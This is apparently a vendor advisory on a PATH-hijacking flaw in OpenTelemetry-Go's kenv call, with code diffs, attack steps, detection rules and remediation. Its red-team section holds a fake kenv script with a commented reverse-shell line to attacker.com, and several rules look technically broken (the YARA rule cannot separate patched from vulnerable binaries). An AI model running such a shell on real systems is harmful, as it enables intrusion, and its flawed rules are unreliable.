CVE-2026-39883

Executive Summary

CVE-2026-39883 is a privilege escalation vulnerability in the OpenTelemetry-Go SDK, affecting versions 1.15.0 through 1.42.0. The vulnerability arises from an incomplete fix for a previous CVE (CVE-2026-24051). While the earlier fix hardened the ioreg command on Darwin (macOS) by using an absolute path, the kenv command on BSD and Solaris systems remained vulnerable to PATH hijacking. An attacker with local access can place a malicious executable named kenv earlier in the PATH, causing the OpenTelemetry SDK to execute arbitrary code with the privileges of the instrumented application. This is a classic untrusted search path vulnerability (CWE-426). The fix in version 1.43.0 uses an absolute path for kenv, mirroring the approach taken for ioreg.

Supply Chain & Package Security

This vulnerability affects the go.opentelemetry.io/otel Go module. Organizations using OpenTelemetry-Go for instrumentation must ensure they are not pulling a vulnerable version from the Go module proxy. The supply chain risk is moderate, as the exploit requires local access, but the impact is high due to potential privilege escalation. Dependency scanning tools should flag versions < 1.43.0.

CVSS Breakdown & Threat Level

CVSS Score: 7.8 (High) Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – The attack does not require special conditions beyond PATH manipulation.
• Privileges Required (PR): Low (L) – The attacker needs a low-privileged user account.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the attacker's scope remain the same.
• Confidentiality (C): High (H) – Full data access is possible.
• Integrity (I): High (H) – Full system modification is possible.
• Availability (A): High (H) – Full denial of service is possible.

Threat Level: High. While the EPSS score is 0.0% (indicating no active exploitation in the wild), the vulnerability is trivial to exploit once local access is obtained. The incomplete fix nature makes it a prime target for threat actors.

Deep Dive & Mechanics

The vulnerability is in the go.opentelemetry.io/otel/sdk/metric/internal/x package, specifically in the code that retrieves system information on BSD and Solaris platforms. The function responsible for this uses the kenv command to query kernel environment variables.

Root Cause: The code calls kenv using a bare name (e.g., exec.Command("kenv", ...)) instead of an absolute path (e.g., /usr/bin/kenv). This allows the operating system's PATH resolution to be hijacked.

Attack Flow:

1. An attacker gains low-privileged access to a system running a vulnerable OpenTelemetry-Go instrumented application.
2. The attacker creates a malicious executable named kenv in a directory they control (e.g., /tmp/).
3. The attacker modifies the PATH environment variable for the target process (e.g., export PATH=/tmp:$PATH).
4. When the OpenTelemetry SDK attempts to execute kenv, the operating system finds the attacker's malicious kenv first.
5. The malicious kenv executes with the privileges of the instrumented application, which may be root or a high-privileged service account.

Why the fix for CVE-2026-24051 was incomplete: The previous fix only addressed the ioreg command on Darwin. The developers did not apply the same hardening to the kenv command on BSD/Solaris, leaving a gap.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.43.0):

// In x/sdk/metric/internal/x/bsd.go or similar
package x

import "os/exec"

func getKenv(key string) (string, error) {
    // Vulnerable: uses bare command name
    cmd := exec.Command("kenv", key)
    out, err := cmd.Output()
    if err != nil {
        return "", err
    }
    return string(out), nil
}

Patched Code (version 1.43.0):

// In x/sdk/metric/internal/x/bsd.go or similar
package x

import "os/exec"

func getKenv(key string) (string, error) {
    // Patched: uses absolute path
    cmd := exec.Command("/usr/bin/kenv", key)
    out, err := cmd.Output()
    if err != nil {
        return "", err
    }
    return string(out), nil
}

The patched version hardcodes the absolute path /usr/bin/kenv, preventing PATH hijacking.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A BSD or Solaris system with a vulnerable OpenTelemetry-Go application (version 1.15.0 to 1.42.0).
• Low-privileged shell access.

Steps:

1. Create a malicious kenv script:

   #!/bin/sh
   # Malicious kenv - executes arbitrary code
   echo "Hijacked!"
   # Example: spawn a reverse shell
   # /bin/sh -c 'sh -i >& /dev/tcp/attacker.com/4444 0>&1'
   

2. Make it executable:

   chmod +x /tmp/kenv
   

3. Prepend the directory to PATH:

   export PATH=/tmp:$PATH
   

4. Trigger the vulnerable code path (e.g., by running the instrumented application that queries kernel metrics).

Expected Outcome: The malicious kenv executes, demonstrating privilege escalation.

Blue Team (Defense & Detection)

Detection:

• Monitor for execution of kenv from non-standard paths.
• Monitor for changes to the PATH environment variable in high-privilege processes.
• Use file integrity monitoring to detect creation of a kenv binary in user-writable directories.

Prevention:

• Apply the patch (upgrade to version 1.43.0).
• Use application allowlisting to restrict which binaries can be executed.
• Run instrumented applications with the least privilege necessary.

Indicators of Compromise (IOCs)

• File: /tmp/kenv or any kenv binary in a user-writable directory.
• Process: Execution of kenv from a non-standard path (e.g., /tmp/kenv).
• Environment Variable: PATH containing a user-writable directory before system directories.
• Log Entry: Syslog or auditd entries showing kenv execution with unexpected arguments or from unexpected paths.

Detection Engineering

YARA Rule

rule CVE_2026_39883_OpenTelemetry_Go_PathHijack {
    meta:
        description = "Detects vulnerable OpenTelemetry-Go binaries that use bare 'kenv' command"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-39883"
        severity = "high"
    strings:
        $kenv_bare = "kenv" ascii wide nocase
        $kenv_abs = "/usr/bin/kenv" ascii wide nocase
    condition:
        $kenv_bare and not $kenv_abs
}

Sigma Rule

title: OpenTelemetry-Go kenv PATH Hijacking Attempt
id: cve-2026-39883
status: experimental
description: Detects execution of kenv from non-standard paths, indicating a potential PATH hijacking attack.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39883
author: Valters IT
date: 2026-01-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/kenv'
    filter:
        Image:
            - '/usr/bin/kenv'
            - '/bin/kenv'
    condition: selection and not filter
falsepositives:
    - Custom installations of kenv in non-standard paths (rare)
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2026-39883 OpenTelemetry-Go kenv PATH Hijacking Attempt"; content:"kenv"; offset:0; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Note: This Suricata rule is a placeholder for network-level detection of the exploit payload. In practice, this vulnerability is local, so network detection is limited.

Remediation & Mitigation

Immediate:

• Upgrade OpenTelemetry-Go to version 1.43.0 or later.
• If immediate upgrade is not possible, manually patch the vulnerable file to use an absolute path for kenv.

Long-term:

• Implement a software composition analysis (SCA) tool to flag vulnerable dependencies.
• Enforce the principle of least privilege for all instrumented applications.
• Regularly audit PATH environment variables in production environments.

Workaround:

• Remove write permissions for non-privileged users on directories in the system PATH.
• Use a security module like SELinux or AppArmor to restrict execution of binaries from user-writable directories.

Valters IT

{/* [Security Hash: 28180F9FD6C17872938F5B12] */}